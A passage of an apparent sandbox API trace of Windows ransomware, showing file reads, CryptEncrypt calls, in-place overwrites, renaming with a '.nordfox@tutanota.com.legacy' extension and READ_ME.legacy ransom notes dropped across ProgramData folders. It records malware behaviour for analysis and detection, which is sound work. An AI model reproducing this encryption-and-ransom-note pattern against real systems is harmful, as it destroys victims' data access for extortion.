0x5e87c8 [0111.246] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x430) returned 0x5e8c00 [0111.246] ReadFile (in: hFile=0x5c0, lpBuffer=0x5e87c8, nNumberOfBytesToRead=0x430, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e87c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x430, lpOverlapped=0x0) returned 1 [0111.248] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=-1072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.248] WriteFile (in: hFile=0x5c0, lpBuffer=0x5e8c00*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e8c00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x430, lpOverlapped=0x0) returned 1 [0111.248] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87c8 | out: hHeap=0x520000) returned 1 [0111.248] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8c00 | out: hHeap=0x520000) returned 1 [0111.248] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x430 [0111.249] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.250] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.250] WriteFile (in: hFile=0x5c0, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.251] WriteFile (in: hFile=0x5c0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.251] CloseHandle (hObject=0x5c0) returned 1 [0111.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0111.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0111.251] MoveFileExW (lpExistingFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag"), lpNewFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0111.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0111.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d2f0 [0111.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0111.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0111.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5a0 | out: hHeap=0x520000) returned 1 [0111.254] FindFirstFileW (in: lpFileName="\\Users\\All Users\\SoftwareDistribution\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5ed8 [0111.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57edf0 | out: hHeap=0x520000) returned 1 [0111.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0111.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0111.255] GetLastError () returned 0x0 [0111.255] SetLastError (dwErrCode=0x0) [0111.255] GetLastError () returned 0x0 [0111.255] SetLastError (dwErrCode=0x0) [0111.255] GetLastError () returned 0x0 [0111.255] SetLastError (dwErrCode=0x0) [0111.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0111.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0111.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0111.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d280 [0111.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5f58 [0111.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5f58 | out: hHeap=0x520000) returned 1 [0111.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0111.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0111.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d280 | out: hHeap=0x520000) returned 1 [0111.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0111.256] FindNextFileW (in: hFindFile=0x5c5ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0111.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0111.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0111.256] GetLastError () returned 0x0 [0111.256] SetLastError (dwErrCode=0x0) [0111.257] GetLastError () returned 0x0 [0111.257] SetLastError (dwErrCode=0x0) [0111.257] GetLastError () returned 0x0 [0111.257] SetLastError (dwErrCode=0x0) [0111.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0111.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0111.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0111.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0111.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c58d8 [0111.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c58d8 | out: hHeap=0x520000) returned 1 [0111.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0111.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0111.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0111.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0111.258] FindNextFileW (in: hFindFile=0x5c5ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1ef048b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1ef048b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0111.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0111.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0111.258] GetLastError () returned 0x0 [0111.259] SetLastError (dwErrCode=0x0) [0111.259] GetLastError () returned 0x0 [0111.259] SetLastError (dwErrCode=0x0) [0111.259] GetLastError () returned 0x0 [0111.259] SetLastError (dwErrCode=0x0) [0111.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0111.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0111.259] FindNextFileW (in: hFindFile=0x5c5ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1ef048b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1ef048b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0111.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0111.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0111.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0111.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0111.259] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1ef048b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1ef048b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0111.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0111.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0111.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0111.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2f8 | out: hHeap=0x520000) returned 1 [0111.260] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Templates\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1ef048b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1ef048b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0111.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0111.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0111.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2a8 | out: hHeap=0x520000) returned 1 [0111.260] FindFirstFileW (in: lpFileName="\\Users\\All Users\\USOPrivate\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd1f189bf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5b58 [0111.261] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0111.261] GetLastError () returned 0x5 [0111.261] SetLastError (dwErrCode=0x5) [0111.261] GetLastError () returned 0x5 [0111.261] SetLastError (dwErrCode=0x5) [0111.261] GetLastError () returned 0x5 [0111.261] SetLastError (dwErrCode=0x5) [0111.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0111.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0111.261] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0111.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0111.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5918 [0111.261] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5918 | out: hHeap=0x520000) returned 1 [0111.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0111.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0111.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0111.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0111.262] FindNextFileW (in: hFindFile=0x5c5b58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd1f189bf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0111.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0111.262] GetLastError () returned 0x5 [0111.262] SetLastError (dwErrCode=0x5) [0111.262] GetLastError () returned 0x5 [0111.262] SetLastError (dwErrCode=0x5) [0111.262] GetLastError () returned 0x5 [0111.262] SetLastError (dwErrCode=0x5) [0111.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0111.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0111.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0111.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5f58 [0111.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5f58 | out: hHeap=0x520000) returned 1 [0111.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0111.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0111.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0111.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0111.263] FindNextFileW (in: hFindFile=0x5c5b58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f189bf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1f189bf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1f189bf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0111.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0111.263] GetLastError () returned 0x5 [0111.263] SetLastError (dwErrCode=0x5) [0111.263] GetLastError () returned 0x5 [0111.263] SetLastError (dwErrCode=0x5) [0111.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0111.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0111.264] GetLastError () returned 0x5 [0111.264] SetLastError (dwErrCode=0x5) [0111.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0111.264] FindNextFileW (in: hFindFile=0x5c5b58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd29f7380, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd29f7380, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1 [0111.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0111.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0111.264] GetLastError () returned 0x5 [0111.264] SetLastError (dwErrCode=0x5) [0111.264] GetLastError () returned 0x5 [0111.264] SetLastError (dwErrCode=0x5) [0111.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0111.264] GetLastError () returned 0x5 [0111.265] SetLastError (dwErrCode=0x5) [0111.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d280 [0111.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0111.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d280 | out: hHeap=0x520000) returned 1 [0111.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0111.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d138 [0111.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0111.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0111.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0111.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0111.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0111.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0111.265] GetLastError () returned 0x5 [0111.265] SetLastError (dwErrCode=0x5) [0111.265] GetLastError () returned 0x5 [0111.265] SetLastError (dwErrCode=0x5) [0111.265] GetLastError () returned 0x5 [0111.265] SetLastError (dwErrCode=0x5) [0111.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0111.266] CreateFileW (lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\READ_ME.legacy" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0111.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0111.267] WriteFile (in: hFile=0x5c8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.268] CloseHandle (hObject=0x5c8) returned 1 [0111.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0111.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0111.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0111.268] FindNextFileW (in: hFindFile=0x5c5b58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd29f7380, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd29f7380, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 0 [0111.268] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0111.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0111.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0111.268] FindFirstFileW (in: lpFileName="\\Users\\All Users\\USOShared\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd1f189bf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5f58 [0111.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0111.269] GetLastError () returned 0x12 [0111.269] SetLastError (dwErrCode=0x12) [0111.269] GetLastError () returned 0x12 [0111.269] SetLastError (dwErrCode=0x12) [0111.269] GetLastError () returned 0x12 [0111.269] SetLastError (dwErrCode=0x12) [0111.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0111.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0111.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d280 [0111.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5f98 [0111.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5f98 | out: hHeap=0x520000) returned 1 [0111.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0111.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0111.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d280 | out: hHeap=0x520000) returned 1 [0111.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.269] FindNextFileW (in: hFindFile=0x5c5f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd1f189bf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0111.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0111.270] GetLastError () returned 0x12 [0111.270] SetLastError (dwErrCode=0x12) [0111.270] GetLastError () returned 0x12 [0111.270] 